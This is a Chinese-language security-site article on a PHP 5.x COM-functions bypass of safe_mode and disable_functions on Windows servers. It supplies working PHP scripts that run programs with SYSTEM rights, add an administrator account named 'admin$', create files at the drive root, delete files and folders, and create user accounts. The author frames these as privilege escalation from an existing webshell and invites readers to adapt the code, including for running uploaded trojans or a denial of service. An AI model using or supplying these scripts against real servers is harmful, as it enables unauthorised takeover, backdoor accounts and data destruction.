首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
PHP 5.x COM functions提权漏洞
来源:vfocus.net 作者:vfocus 发布时间:2010-11-17  

PHP是英文“超级文本预处理语言”(Hypertext Preprocessor)的缩写,是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能,所有的CGI或者JavaScript的功能,PHP都能实现,支持几乎所有流行的数据库以及操作系统。     近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞,也就是PHP 5.x COM functions safe_mode and disable_function bypass漏洞。它可以实现提权,这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞,由于本人水平有限,请大家原谅不准确的地方。     漏洞所用到的COM函数只在Windows环境下的PHP才存在,.net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装,是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展,不用额外加载其他扩展来调用漏洞函数。           现在部分大中型网站都喜欢用PHP+Apache+Windows来架设,这样的话,PHP漏洞的打击面就会很大了,特别是在现在提权越来越难的形势下,我想,很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容,漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2,在我的测试当中,发现并不一定要严格按照这样配置,大家可以自己测试一下看看。
safe_mode = On
disable_functions = com_load_typelib
open_basedir = htdocs
下面我们就逐一看看这个漏洞的内容与利用。

compatUI.dll中的RunApplication函数
这个漏洞的测试代码如下。
<?php
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI.dll   $compatUI->RunApplication("something", "notepad.exe", 1);
//运行记事本
?>

将其保存为PHP文件,放到服务器上,然后用IE访问就可以了。运行后IE是没有什么回显的,如图1所示,但实际上记事本已经运行了,而且是SYSTEM权限,因为它是由系统服务来运行的,所以继承了SYSTEM权限,如图2所示。



利用这个漏洞,我们可以运行已经上传好的木马,实现WebShell的提权。当然,如果你足够无聊的话,还可以写成循环,让服务器运行很多记事本,实现D.O.S。

Wscript运行命令

这个漏洞的测试代码如下。
<?php
$wscript = new COM('wscript.shell'); //要用到wscript.exe
$wscript->Run("cmd.exe /c calc.exe");//运行calc.exe
?>

访问该脚本后,服务器上出现了SYSTEM权限的calc.exe进程,如图3所示。我们只要发挥一下想象力,修改一下脚本,就能加个管理员账户了,具体代码如下。


<?php
$wscript = new COM('wscript.shell');$wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>

访问该脚本之后,即可添加管理员成功,这对SYSTEM权限来说简直就是噩梦,如图4所示


wshom.ocx中的OpenTextFile
OpenTextFile可以用于创建一个文件,其中存在的漏洞的测试代码如下。

<?php    
$mPath = str_repeat("..\\",20);
$FSO = new COM('Scripting.FileSystemObject');//用到了wshom.ocx
$FSO->OpenTextFile($mPath."bat.bat", 8, true); //在服务器上创建文件,虽然这个函数是用来打开文件的,但是文件不存在就被创建了
?>    

果然在C区根目录出现了这个批处理文件bat.bat,如图5所示


wshom.ocx中的DeleteFile
这个函数可以删除服务器上的文件,大家要小心使用,测试代码如下。

<?php
$mPath = str_repeat("..\\",20);
$FSOdelFile = new COM('Scripting.FileSystemObject');
//利用了wshom.ocx
$FSOdelFile->DeleteFile($mPath.".\\*.dat", True);
//删除C区根目录的所有dat文件?>

wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下:

<?php
$mPath = str_repeat("..\\",20);
$FSOdelFolder = new COM('Scripting.FileSystemObject');
//使用wshom.ocx
$FSOdelFolder->DeleteFolder($mPath.".\\11", True);
//删除特定的文件夹
?>

访问之后,成功删除了c:\11这个文件夹。

shgina.dll中Create函数创建账户
这个漏洞的测试代码如下:

<?php
$user = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dll$user->Create("asd");
//创建账户asd
?>

不过,这里要注意一下,利用这个漏洞创建的账户只是属于users组的,如图6所示


关于PHP 5.x COM functions漏洞的利用就为大家介绍到这里了,测试代码已经随文提供,大家根据自己的需要,进行适当修改即可。不过,提醒大家一下,以上几个漏洞的利用前提是我们已经有了WebShell,之后才可以上传用于提权的脚本,切记哦


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·帝国6.5后台拿SHELL
·ewebeditor 5.2 列目录漏洞
·ecshop2.72 api.php 文件鸡肋注
·6kbbs v8.0论坛两个漏洞
·163K地方门户网站系统getshell 0
·由自定义QQ商业信纸 引发的邮件
·Destoon B2B SQL注射 & 后台代码
·Linux 系统文件描述符继承带来的
·SiteEngine 7.1 SQL注入漏洞0day
·SiteEngine 6.0 SQL注入漏洞0day
·JCMS 2010 file download vulner
·DEDECMS V5.6 继续get shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved